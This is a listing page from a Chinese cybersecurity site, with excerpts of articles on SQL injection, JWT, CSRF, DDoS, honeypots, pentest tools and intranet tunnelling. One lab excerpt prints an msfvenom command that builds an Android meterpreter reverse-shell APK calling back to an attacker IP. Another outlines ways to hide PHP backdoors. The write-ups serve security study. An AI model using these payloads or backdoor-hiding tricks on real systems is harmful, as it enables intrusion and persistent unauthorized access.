首页 ›网络安全

网络安全

「Burpsuite练兵场」SQL注入之带外通信

SQL注入带外通信OOB（Out-of-Band）带外通信注入也是一种挺常见的注入手法，与之前的带内通信相比（发送请求，返回结果都在同一条信道内），需要借助一个额外的服务器用于获取带外信道数据。具体操作即为通过注入SQL语句，构造请求到服务器中，以此将我们所需查询的数据带出来。那什么时候我们需要使用 ...

安全学院 2020-9-12 09:06 978
信息安全学习4. 重放攻击的概念与防范

一、定义重放攻击(Replay Attacks)又称为重播攻击、回放攻击，一般是攻击者截获数据包后，无法解密数据，但可以把数据包和业务间的关系进行猜测，重新发送相同数据包，来达到欺骗系统的目的，主要用于身份认证过程、破坏认证的正确性。重放攻击可以由发起者、或拦截方进行。拦截方进行的重放攻击又称 ...

安全学院 2020-9-12 08:52 1357
JWT 身份认证优缺点分析以及常见问题解决方案

token 自身包含了身份验证所需要的所有信息，使得我们的服务器不需要存储 Session 信息，这显然增加了系统的可用性和伸缩性，大大减轻了服务端的压力。但是，也正是由于 token 的无状态，也导致了它最大的缺点：当后端在token 有效期内废弃一个 token 或者更改它的权限的话，不会立即生效，一般需要等到有效期过后才可以。另外，当用户 Logout 的话，token 也还有效。除非，我们在后端增加额外的处理逻辑。

安全学院 2020-9-9 10:20 797
单点登录技术中的 Token 认证是什么？

单点登录在技术上涉及协议对接、认证方式等诸多细节，我们这里先来聊聊认证方式。由于传统基于 Session 认证方式的局限性，目前单点登录技术中一般使用 Token 认证，它具有扩展性好、服务端负载轻、支持移动端访问、不需要CSRF防护等优势。下文将详细介绍 Token 认证的技术细节。一、传统基于 Session ...

安全学院 2020-9-8 10:01 921
一次授权的渗透测试

一次正规且授权的测试，未使用任何扫描器，全程手工。这个客户呢是做的一个培训资料的商城。大概样子就是这样，其实当时拿到以后客户说不允许用任何扫描器，还有一点点懵。Thinkphp5.1.37 LTS 加 JQuery 1.7.2开始首先一个账户是必须要有的，难处在于因为验证码还在对接中，没法注册。只能要一个内 ...

渗透测试 2020-9-7 10:06 1331
php后门隐藏技巧大全

1. attrib +s +h创建系统隐藏文件：attrib +s +a +r +hattrib +s +h 文件名在 Windows 10下即使开启了显示隐藏的项目，或dir仍然看不见。2. 利用 ADS 隐藏文件NTFS交换数据流（Alternate　Data　Streams，简称 ADS）是 NTFS 磁盘格式的一个特性，在 NTFS文件系统下，每个文件都可以存在多个数据流。通 ...

网站防护 2020-9-5 08:22 2281
当遇到DDOS攻击解决办法

(1).DDos概念　　分布式拒绝服务攻击(英文意思是Distributed Denial of Service，简称DDoS)是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击，或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的，这类攻击称为分布式拒绝 ...

拒绝服务 2020-9-4 08:40 2747
全端口蜜罐的部署过程与数据分析

在当前的网络环境中，存在着各种流量，包括网络空间扫描流量、搜索引擎爬虫流量、恶意软件的探测流量等等，例如mirai病毒在进行telnet爆破过程中，其目标IP就是随机生成的（排除内网IP及一些特殊IP）。前段时间，本人对SSH蜜罐cowire的docker部署及数据展示进行了介绍，有兴趣的读者可以查看文 ...

安全学院 2020-9-3 08:27 1133
Linux安全技巧汇总，防止扫描，禁止空密码，强制用V2等

最近发现攻击官网和论坛量和人数又增加了，不得不再多做做安防。本文一颗优雅草科技央千澈所写，转载麻烦注明，非常感谢，依然本文和优雅草科技观点毫无关系，仅代表个人观点。这个量级还是不小的，左边显示微风是今天，这里是凌晨数据，我看过统计恶意扫描也特别多，所以呢以下开始：Linux使用的几个 ...

安全运维 2020-9-1 08:52 2243
分享10个渗透测试最佳工具的使用方法及下载链接

渗透测试的目的不仅是找到安全系统的易受攻击元素，还要检查企业中安全策略的合规性，衡量任何安全问题的意识和范围，并查看可能性在真正的外部实体网络攻击事件中，网络可能会遇到什么灾难。实质上，渗透测试允许你发现可能没有考虑过的弱点区域。渗透测试者提供了一种全新的视角，帮助企业改进系统安 ...

渗透测试 2020-9-1 08:49 2237
口令安全(口令爆破)

令安全威胁现在很多地都是以户名(账户)和令(密码)作为鉴权的式，令(密码)就意味着访问权限。站后台数据库服务器个电脑QQ邮箱...令的安全现状令(密码)对于保护资产来讲是关重要，保证令安全也是重要的课题之。令所临的安全险：令泄露以件的式保存令站的配置件源代码中的注释备份件邮件，令以明的式出现 ...

安全学院 2020-9-1 08:47 1804
Web渗透测试(CSRF)

跨站请求伪造(Cross Site Request Forgery，CSRF)Hacker 户可以伪造admin 户的转账请求，强制admin 户，转账给任意户。基本概念CSRF 是种攻击，它强制终端户在当前对其进身份验证后的Web 应程序上执本意操作的攻击。CSRF 攻击的重点在于更改状态的请求，不是盗取数据，因为攻击者法查看伪造请求的响应 ...

网站防护 2020-9-1 08:46 3006
来路不明的安装包请勿安装

前言本次渗透为靶机测试。切勿用于非法用途！攻击者:192.168.1.3 termux+metasploit受害者:192.168.1.2 Android 5.1 - Linux 3.10.72+ (aarch64)使用模块:multi/handler首先生成安卓木马msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=3800 -o s.apk将其移动到/storage/emulate ...

渗透测试 2020-9-1 08:43 1335
内网渗透：不出网渗透技巧

搜索公众号：暗网黑客可领全套网络安全渗透教程、配套攻防靶场作者：诺言转载自：https://www.freebuf.com/articles/web/247287.html前言最近打了几场**，遇到几个内网环境都不通外网，整理下用到的几种不出网内网渗透技巧。socks隧道搭建常用工具：reGeorg,Proxifier用的比较多的一个隧道代理工具1、 ...

渗透测试 2020-8-30 07:16 2371
渗透测试工具库

搜索公众号：暗网黑客可领全套网络安全渗透教程、配套攻防靶场本地工具dirmap 子目录扫描https://gitee.com/c0ny10/dirmapsubDomainBrute 子域名扫描https://gitee.com/c0ny10/subDomainsBruteCknife WebShell管理工具https://gitee.com/c0ny10/cknifeJSFinder 快速在网站的js文件中提取URL，子域名htt ...

渗透测试 2020-8-30 07:14 1382

1 ... 27 28 29 303132 33 34 35 ... 1000 / 1000 页下一页

网络安全

相关分类